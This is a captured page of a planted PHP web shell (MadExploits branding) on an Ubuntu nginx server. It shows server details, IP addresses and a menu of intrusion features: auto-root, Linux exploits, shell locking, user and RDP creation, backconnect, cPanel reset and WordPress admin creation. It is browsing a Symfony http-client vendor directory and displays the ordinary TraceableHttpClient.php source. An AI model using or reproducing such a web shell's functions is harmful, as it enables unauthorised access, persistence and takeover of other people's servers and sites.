Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sms-auth /
vendor /
symfony /
http-client /
[ HOME SHELL ]
Name
Size
Permission
Action
Chunk
[ DIR ]
drwxrwxr-x
DataCollector
[ DIR ]
drwxrwxr-x
DependencyInjection
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
Internal
[ DIR ]
drwxrwxr-x
Response
[ DIR ]
drwxrwxr-x
Retry
[ DIR ]
drwxrwxr-x
AmpHttpClient.php
6.97
KB
-rw-rw-r--
AsyncDecoratorTrait.php
1.37
KB
-rw-rw-r--
CHANGELOG.md
2.06
KB
-rw-rw-r--
CachingHttpClient.php
5.24
KB
-rw-rw-r--
CurlHttpClient.php
24.82
KB
-rw-rw-r--
DecoratorTrait.php
1.31
KB
-rw-rw-r--
EventSourceHttpClient.php
5.66
KB
-rw-rw-r--
HttpClient.php
3.4
KB
-rw-rw-r--
HttpClientTrait.php
24.78
KB
-rw-rw-r--
HttpOptions.php
5.44
KB
-rw-rw-r--
HttplugClient.php
9.51
KB
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
MockHttpClient.php
3.77
KB
-rw-rw-r--
NativeHttpClient.php
18.07
KB
-rw-rw-r--
NoPrivateNetworkHttpClient.php
3.9
KB
-rw-rw-r--
Psr18Client.php
7.95
KB
-rw-rw-r--
README.md
532
B
-rw-rw-r--
RetryableHttpClient.php
5.67
KB
-rw-rw-r--
ScopingHttpClient.php
4.08
KB
-rw-rw-r--
TraceableHttpClient.php
3.41
KB
-rw-rw-r--
composer.json
1.64
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TraceableHttpClient.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpClient; use Psr\Log\LoggerAwareInterface; use Psr\Log\LoggerInterface; use Symfony\Component\HttpClient\Response\ResponseStream; use Symfony\Component\HttpClient\Response\TraceableResponse; use Symfony\Component\Stopwatch\Stopwatch; use Symfony\Contracts\HttpClient\HttpClientInterface; use Symfony\Contracts\HttpClient\ResponseInterface; use Symfony\Contracts\HttpClient\ResponseStreamInterface; use Symfony\Contracts\Service\ResetInterface; /** * @author Jérémy Romey <jeremy@free-agent.fr> */ final class TraceableHttpClient implements HttpClientInterface, ResetInterface, LoggerAwareInterface { private $client; private $tracedRequests = []; private $stopwatch; public function __construct(HttpClientInterface $client, Stopwatch $stopwatch = null) { $this->client = $client; $this->stopwatch = $stopwatch; } /** * {@inheritdoc} */ public function request(string $method, string $url, array $options = []): ResponseInterface { $content = null; $traceInfo = []; $this->tracedRequests[] = [ 'method' => $method, 'url' => $url, 'options' => $options, 'info' => &$traceInfo, 'content' => &$content, ]; $onProgress = $options['on_progress'] ?? null; if (false === ($options['extra']['trace_content'] ?? true)) { unset($content); $content = false; } $options['on_progress'] = function (int $dlNow, int $dlSize, array $info) use (&$traceInfo, $onProgress) { $traceInfo = $info; if (null !== $onProgress) { $onProgress($dlNow, $dlSize, $info); } }; return new TraceableResponse($this->client, $this->client->request($method, $url, $options), $content, null === $this->stopwatch ? null : $this->stopwatch->start("$method $url", 'http_client')); } /** * {@inheritdoc} */ public function stream($responses, float $timeout = null): ResponseStreamInterface { if ($responses instanceof TraceableResponse) { $responses = [$responses]; } elseif (!is_iterable($responses)) { throw new \TypeError(sprintf('"%s()" expects parameter 1 to be an iterable of TraceableResponse objects, "%s" given.', __METHOD__, get_debug_type($responses))); } return new ResponseStream(TraceableResponse::stream($this->client, $responses, $timeout)); } public function getTracedRequests(): array { return $this->tracedRequests; } public function reset() { if ($this->client instanceof ResetInterface) { $this->client->reset(); } $this->tracedRequests = []; } /** * {@inheritdoc} */ public function setLogger(LoggerInterface $logger): void { if ($this->client instanceof LoggerAwareInterface) { $this->client->setLogger($logger); } } /** * {@inheritdoc} */ public function withOptions(array $options): self { $clone = clone $this; $clone->client = $this->client->withOptions($options); return $clone; } }
Close